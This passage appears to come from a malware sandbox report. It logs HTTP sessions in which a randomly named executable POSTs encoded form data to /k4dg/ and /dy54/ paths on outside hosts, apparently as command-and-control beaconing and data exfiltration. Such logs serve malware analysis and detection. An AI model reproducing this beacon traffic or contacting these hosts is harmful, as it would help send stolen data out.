src="//sdk.51.la/js-sdk-pro.min.js"></script><script>LA.init({id:"KPvSogiWixBEEhWI",ck:"KPvSogiWixBEEhWI"})</script><body><div class="main"><div class="title"></div><div class="content"><p class="t1"></p><p class="t2"> [TRUNCATED]
Jul 1, 2024 16:17:48.596417904 CEST	529	IN	Data Raw: 90 e4 ba a4 e7 9a 84 e5 86 85 e5 ae b9 e5 8c 85 e5 90 ab e5 8d b1 e9 99 a9 e7 9a 84 e6 94 bb e5 87 bb e8 af b7 e6 b1 82 3c 2f 6c 69 3e 0a 09 09 09 3c 2f 6f 6c 3e 0a 09 09 09 3c 70 20 63 6c 61 73 73 3d 22 74 32 22 3e e5 a6 82 e4 bd 95 e8 a7 a3 e5 Data Ascii: </li></ol><p class="t2"></p><ol><li></li><li></li><li>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.5	49755	199.59.243.226	80	3608	C:\Program Files (x86)\HuaxilgvNMlvjXqnbAUTDSsPYLOkyuWgMOeQybdntYYLGjJr\MqDMLUHvZmSMqiwTfIsHo.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 16:17:54.095976114 CEST	794	OUT	POST /k4dg/ HTTP/1.1 Host: www.mommysdaycare.net Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Origin: http://www.mommysdaycare.net Cache-Control: no-cache Connection: close Content-Length: 208 Content-Type: application/x-www-form-urlencoded Referer: http://www.mommysdaycare.net/k4dg/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36 Data Raw: 34 64 56 34 33 74 41 3d 71 78 51 6c 45 2b 6c 6f 2f 6b 54 6f 65 74 73 41 39 62 73 62 6a 45 4d 73 56 5a 77 62 39 71 67 46 34 4a 4f 6f 35 37 42 43 5a 50 42 32 33 35 46 39 66 55 6b 48 36 78 47 33 74 38 74 41 30 70 4e 68 47 4b 53 61 6b 73 5a 6d 50 76 6a 39 79 31 57 4a 72 34 52 42 39 71 79 78 68 4b 69 49 67 33 31 31 42 76 6f 56 31 6b 52 43 32 6d 6f 45 4e 67 46 78 48 4e 6c 5a 4d 76 5a 61 5a 53 5a 45 46 5a 51 56 61 36 7a 7a 69 54 62 56 65 47 47 7a 39 58 39 6c 66 6f 64 41 73 69 44 43 77 47 51 33 50 59 50 4c 73 69 6c 54 42 53 70 5a 4b 44 53 7a 79 62 75 58 45 79 42 70 57 52 67 61 59 34 34 67 77 72 30 4c 4f 37 67 2b 6d 62 6f 3d Data Ascii: 4dV43tA=qxQlE+lo/kToetsA9bsbjEMsVZwb9qgF4JOo57BCZPB235F9fUkH6xG3t8tA0pNhGKSaksZmPvj9y1WJr4RB9qyxhKiIg311BvoV1kRC2moENgFxHNlZMvZaZSZEFZQVa6zziTbVeGGz9X9lfodAsiDCwGQ3PYPLsilTBSpZKDSzybuXEyBpWRgaY44gwr0LO7g+mbo=
Jul 1, 2024 16:17:54.566551924 CEST	1236	IN	HTTP/1.1 200 OK date: Mon, 01 Jul 2024 14:17:54 GMT content-type: text/html; charset=utf-8 content-length: 1134 x-request-id: 924ebff8-6498-4b79-87f9-c8be642bfed3 cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_yS6Hx1Qg9xx5kmEUaYHwQfeyvDLHfqkCmBNz2/vxHE4NPGS2vcFUpSiBHRAHFgFwHzbWtObo93Zjpn7eZXAkDQ== set-cookie: parking_session=924ebff8-6498-4b79-87f9-c8be642bfed3; expires=Mon, 01 Jul 2024 14:32:54 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 79 53 36 48 78 31 51 67 39 78 78 35 6b 6d 45 55 61 59 48 77 51 66 65 79 76 44 4c 48 66 71 6b 43 6d 42 4e 7a 32 2f 76 78 48 45 34 4e 50 47 53 32 76 63 46 55 70 53 69 42 48 52 41 48 46 67 46 77 48 7a 62 57 74 4f 62 6f 39 33 5a 6a 70 6e 37 65 5a 58 41 6b 44 51 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_yS6Hx1Qg9xx5kmEUaYHwQfeyvDLHfqkCmBNz2/vxHE4NPGS2vcFUpSiBHRAHFgFwHzbWtObo93Zjpn7eZXAkDQ==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
Jul 1, 2024 16:17:54.566566944 CEST	587	IN	Data Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiOTI0ZWJmZjgtNjQ5OC00Yjc5LTg3ZjktYzhiZTY0MmJmZWQzIiwicGFnZV90aW1lIjoxNzE5ODQzND

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.5	49756	199.59.243.226	80	3608	C:\Program Files (x86)\HuaxilgvNMlvjXqnbAUTDSsPYLOkyuWgMOeQybdntYYLGjJr\MqDMLUHvZmSMqiwTfIsHo.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 16:17:56.643054008 CEST	814	OUT	POST /k4dg/ HTTP/1.1 Host: www.mommysdaycare.net Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Origin: http://www.mommysdaycare.net Cache-Control: no-cache Connection: close Content-Length: 228 Content-Type: application/x-www-form-urlencoded Referer: http://www.mommysdaycare.net/k4dg/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36 Data Raw: 34 64 56 34 33 74 41 3d 71 78 51 6c 45 2b 6c 6f 2f 6b 54 6f 66 4e 38 41 74 49 45 62 6c 6b 4d 7a 61 35 77 62 7a 36 67 42 34 4a 4b 6f 35 35 73 50 5a 38 6c 32 35 39 42 39 65 51 34 48 35 78 47 33 34 4d 74 4a 71 5a 4e 36 47 4b 4f 6b 6b 75 64 6d 50 76 33 39 79 30 6d 4a 72 4a 52 47 39 36 79 33 73 71 69 4b 39 6e 31 31 42 76 6f 56 31 6b 46 38 32 6d 77 45 4e 78 56 78 48 75 39 61 53 2f 5a 5a 61 53 5a 45 50 35 51 4a 61 36 7a 46 69 53 58 76 65 44 43 7a 39 56 31 6c 66 5a 64 44 6d 69 44 41 30 47 52 54 41 59 48 4f 68 68 70 79 47 6a 59 48 55 45 32 6f 2b 4e 44 39 65 51 4a 42 46 78 4d 69 49 72 77 58 68 62 56 69 55 59 77 4f 34 4d 2b 43 55 30 57 35 4b 57 57 7a 6c 2f 30 34 61 6d 47 49 2f 5a 59 53 Data Ascii: 4dV43tA=qxQlE+lo/kTofN8AtIEblkMza5wbz6gB4JKo55sPZ8l259B9eQ4H5xG34MtJqZN6GKOkkudmPv39y0mJrJRG96y3sqiK9n11BvoV1kF82mwENxVxHu9aS/ZZaSZEP5QJa6zFiSXveDCz9V1lfZdDmiDA0GRTAYHOhhpyGjYHUE2o+ND9eQJBFxMiIrwXhbViUYwO4M+CU0W5KWWzl/04amGI/ZYS
Jul 1, 2024 16:17:57.103627920 CEST	1236	IN	HTTP/1.1 200 OK date: Mon, 01 Jul 2024 14:17:56 GMT content-type: text/html; charset=utf-8 content-length: 1134 x-request-id: 0879428c-e794-40fa-8381-9635b759e46c cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_yS6Hx1Qg9xx5kmEUaYHwQfeyvDLHfqkCmBNz2/vxHE4NPGS2vcFUpSiBHRAHFgFwHzbWtObo93Zjpn7eZXAkDQ== set-cookie: parking_session=0879428c-e794-40fa-8381-9635b759e46c; expires=Mon, 01 Jul 2024 14:32:57 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 79 53 36 48 78 31 51 67 39 78 78 35 6b 6d 45 55 61 59 48 77 51 66 65 79 76 44 4c 48 66 71 6b 43 6d 42 4e 7a 32 2f 76 78 48 45 34 4e 50 47 53 32 76 63 46 55 70 53 69 42 48 52 41 48 46 67 46 77 48 7a 62 57 74 4f 62 6f 39 33 5a 6a 70 6e 37 65 5a 58 41 6b 44 51 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_yS6Hx1Qg9xx5kmEUaYHwQfeyvDLHfqkCmBNz2/vxHE4NPGS2vcFUpSiBHRAHFgFwHzbWtObo93Zjpn7eZXAkDQ==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
Jul 1, 2024 16:17:57.103652954 CEST	587	IN	Data Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiMDg3OTQyOGMtZTc5NC00MGZhLTgzODEtOTYzNWI3NTllNDZjIiwicGFnZV90aW1lIjoxNzE5ODQzND

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.5	49757	199.59.243.226	80	3608	C:\Program Files (x86)\HuaxilgvNMlvjXqnbAUTDSsPYLOkyuWgMOeQybdntYYLGjJr\MqDMLUHvZmSMqiwTfIsHo.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 16:17:59.170070887 CEST	1831	OUT	POST /k4dg/ HTTP/1.1 Host: www.mommysdaycare.net Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Origin: http://www.mommysdaycare.net Cache-Control: no-cache Connection: close Content-Length: 1244 Content-Type: application/x-www-form-urlencoded Referer: http://www.mommysdaycare.net/k4dg/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36 Data Raw: 34 64 56 34 33 74 41 3d 71 78 51 6c 45 2b 6c 6f 2f 6b 54 6f 66 4e 38 41 74 49 45 62 6c 6b 4d 7a 61 35 77 62 7a 36 67 42 34 4a 4b 6f 35 35 73 50 5a 38 74 32 35 4f 4a 39 66 78 34 48 34 78 47 33 35 4d 74 45 71 5a 4d 34 47 4b 48 6a 6b 75 51 64 50 73 50 39 77 57 75 4a 38 71 4a 47 75 61 79 33 6c 4b 69 48 67 33 30 76 42 73 41 4a 31 6e 39 38 32 6d 77 45 4e 79 64 78 46 39 6c 61 56 50 5a 61 5a 53 5a 59 46 5a 51 74 61 36 72 56 69 53 44 46 66 33 32 7a 39 31 6c 6c 4d 62 46 44 37 53 44 47 34 6d 52 4c 41 59 61 65 68 68 31 41 47 6a 63 68 55 43 47 6f 36 72 75 2b 46 52 52 73 65 6e 55 68 46 5a 30 4a 77 75 5a 43 5a 5a 6b 6e 39 2b 57 6a 56 45 58 52 64 52 65 54 6e 4e 78 45 4f 52 53 6b 75 4a 6b 64 5a 36 38 6d 74 34 45 5a 45 74 77 39 69 67 79 65 4e 66 46 42 35 30 43 52 57 45 36 50 2f 4b 79 57 41 7a 64 31 61 6a 76 54 63 6e 75 4e 36 66 4d 32 4d 72 59 43 68 6a 59 49 6d 4c 6c 41 77 2f 55 66 79 73 49 59 59 4b 6d 70 6d 79 37 66 6f 4a 33 4d 51 4c 62 46 36 68 55 2f 4d 54 2f 4f 57 6c 45 2b 71 39 56 50 4d 43 65 43 57 53 49 76 32 34 [TRUNCATED] Data Ascii: 4dV43tA=qxQlE+lo/kTofN8AtIEblkMza5wbz6gB4JKo55sPZ8t25OJ9fx4H4xG35MtEqZM4GKHjkuQdPsP9wWuJ8qJGuay3lKiHg30vBsAJ1n982mwENydxF9laVPZaZSZYFZQta6rViSDFf32z91llMbFD7SDG4mRLAYaehh1AGjchUCGo6ru+FRRsenUhFZ0JwuZCZZkn9+WjVEXRdReTnNxEORSkuJkdZ68mt4EZEtw9igyeNfFB50CRWE6P/KyWAzd1ajvTcnuN6fM2MrYChjYImLlAw/UfysIYYKmpmy7foJ3MQLbF6hU/MT/OWlE+q9VPMCeCWSIv2465jYsPOvgrr6TQV6r33O4W65Zjv/jBELjkqxhSHqwYuo9TZHDXz4xs8U3TAt5UFIeZ4+8aih489rJVB6Ky0PETH2wlEVvlChqKetolRIVKKpabTgY5v5+0if4SwTLJlzJR8FrOZqVeIsLKIZjo2o/E9r+IHS+VF5gkd9pl+5g8UOXT3FYEpT+YxPB3wxCnCcSS7UY9R6FkkKiSJWwK63gP1lylywH+CUhroW4doRiS90tgczMYagJXzzLMgHlCMnCJMa91c4DEI2pSVkht4oX/HrTKXstmkhW44EsdeeNt3Fdx0JPAc03vRrm5Gi4Wg0qFWH6+KEBv/RlqfBk4xsFKToOMaX47Q9o+nha/b8I/7LZOVhYY1Yx4popCnIqyc/bxGVdf3PzXDmh+HZ6jY5fHBQAremOnchv3QFvBRWdnCJ55gzxreH6h5UFGdTGjcjw2PoPkZkRmP3cLSgYr0uAW2gd6KojLh+FGZ39Y1QZuNKWm+Lbsa+e38HhpzXkZpOsLRZmN3iXzMpT7yPDjcrkUk77VUwNJKPZuriDZe1ottSZFJ2PqttPTvOZy+x1icfnX4HGoTtYrraL+JprNW8gx64+UcMt2asmIQ/zWQl5bjvYyYbSV7zpbPHhIENz2tAJKiyhXy3+habxFxAhu+/bWpDupCiR66uEV [TRUNCATED]
Jul 1, 2024 16:17:59.644108057 CEST	1236	IN	HTTP/1.1 200 OK date: Mon, 01 Jul 2024 14:17:59 GMT content-type: text/html; charset=utf-8 content-length: 1134 x-request-id: d3832461-c60f-41d9-970a-bf206e4c9534 cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_yS6Hx1Qg9xx5kmEUaYHwQfeyvDLHfqkCmBNz2/vxHE4NPGS2vcFUpSiBHRAHFgFwHzbWtObo93Zjpn7eZXAkDQ== set-cookie: parking_session=d3832461-c60f-41d9-970a-bf206e4c9534; expires=Mon, 01 Jul 2024 14:32:59 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 79 53 36 48 78 31 51 67 39 78 78 35 6b 6d 45 55 61 59 48 77 51 66 65 79 76 44 4c 48 66 71 6b 43 6d 42 4e 7a 32 2f 76 78 48 45 34 4e 50 47 53 32 76 63 46 55 70 53 69 42 48 52 41 48 46 67 46 77 48 7a 62 57 74 4f 62 6f 39 33 5a 6a 70 6e 37 65 5a 58 41 6b 44 51 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_yS6Hx1Qg9xx5kmEUaYHwQfeyvDLHfqkCmBNz2/vxHE4NPGS2vcFUpSiBHRAHFgFwHzbWtObo93Zjpn7eZXAkDQ==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
Jul 1, 2024 16:17:59.644196987 CEST	587	IN	Data Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiZDM4MzI0NjEtYzYwZi00MWQ5LTk3MGEtYmYyMDZlNGM5NTM0IiwicGFnZV90aW1lIjoxNzE5ODQzND

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.5	49758	199.59.243.226	80	3608	C:\Program Files (x86)\HuaxilgvNMlvjXqnbAUTDSsPYLOkyuWgMOeQybdntYYLGjJr\MqDMLUHvZmSMqiwTfIsHo.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 16:18:01.702274084 CEST	532	OUT	GET /k4dg/?4dV43tA=nz4FHKR3kHD8T7sos5tKkVQRfY182oQFmZOBlJ8PbPlp6eprRQ8g6Bnz+oNd18dyAKSZqsJ9UtPL5lP5nYFy9dCb86j6n0RTbdEdkH9XwmQfMRZVI+dcEtE4XSVBGLRbLA==&3hkl=slNhbLXpBjO8vl HTTP/1.1 Host: www.mommysdaycare.net Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36
Jul 1, 2024 16:18:02.193284035 CEST	1236	IN	HTTP/1.1 200 OK date: Mon, 01 Jul 2024 14:18:01 GMT content-type: text/html; charset=utf-8 content-length: 1518 x-request-id: 6973e5e4-a21a-4873-91da-5ae22c10d7ed cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_ESgTqOqO7qsVfXIKGo4mnKaXjLOKA9byi0726FEznFAU/jC+Ekk2Ywy03VeqehfiT6lvaOtHdNAVpWUx9cexhw== set-cookie: parking_session=6973e5e4-a21a-4873-91da-5ae22c10d7ed; expires=Mon, 01 Jul 2024 14:33:02 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 45 53 67 54 71 4f 71 4f 37 71 73 56 66 58 49 4b 47 6f 34 6d 6e 4b 61 58 6a 4c 4f 4b 41 39 62 79 69 30 37 32 36 46 45 7a 6e 46 41 55 2f 6a 43 2b 45 6b 6b 32 59 77 79 30 33 56 65 71 65 68 66 69 54 36 6c 76 61 4f 74 48 64 4e 41 56 70 57 55 78 39 63 65 78 68 77 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_ESgTqOqO7qsVfXIKGo4mnKaXjLOKA9byi0726FEznFAU/jC+Ekk2Ywy03VeqehfiT6lvaOtHdNAVpWUx9cexhw==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
Jul 1, 2024 16:18:02.193368912 CEST	971	IN	Data Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiNjk3M2U1ZTQtYTIxYS00ODczLTkxZGEtNWFlMjJjMTBkN2VkIiwicGFnZV90aW1lIjoxNzE5ODQzND

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.5	49759	45.207.12.95	80	3608	C:\Program Files (x86)\HuaxilgvNMlvjXqnbAUTDSsPYLOkyuWgMOeQybdntYYLGjJr\MqDMLUHvZmSMqiwTfIsHo.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 16:18:07.346514940 CEST	770	OUT	POST /dy54/ HTTP/1.1 Host: www.203av.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Origin: http://www.203av.com Cache-Control: no-cache Connection: close Content-Length: 208 Content-Type: application/x-www-form-urlencoded Referer: http://www.203av.com/dy54/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36 Data Raw: 34 64 56 34 33 74 41 3d 71 54 48 68 4d 6e 48 53 74 31 46 6b 37 6e 33 58 69 69 77 36 44 75 6e 53 47 76 68 70 31 49 69 6c 64 48 6a 4a 63 33 73 45 41 71 77 68 68 4c 76 76 4f 4a 42 33 41 53 62 53 61 57 51 37 52 34 35 79 47 59 6e 72 57 6c 35 53 79 4b 2b 6b 73 72 50 42 51 48 74 4e 74 46 4f 47 55 70 4b 76 30 78 30 75 73 76 46 41 2f 71 41 7a 58 76 68 74 2f 48 49 4e 66 77 4f 69 6e 30 72 42 38 37 64 6c 39 74 4d 33 38 4e 66 5a 52 78 6d 32 57 4d 2b 43 42 4a 74 4a 52 76 73 68 44 4f 6e 48 68 71 2b 37 4a 6a 63 32 74 54 55 57 42 65 57 67 30 32 56 54 78 59 65 41 67 4f 33 39 33 43 58 77 4a 39 54 55 4f 61 77 70 75 77 42 72 52 68 77 3d Data Ascii: 4dV43tA=qTHhMnHSt1Fk7n3Xiiw6DunSGvhp1IildHjJc3sEAqwhhLvvOJB3ASbSaWQ7R45yGYnrWl5SyK+ksrPBQHtNtFOGUpKv0x0usvFA/qAzXvht/HINfwOin0rB87dl9tM38NfZRxm2WM+CBJtJRvshDOnHhq+7Jjc2tTUWBeWg02VTxYeAgO393CXwJ9TUOawpuwBrRhw=
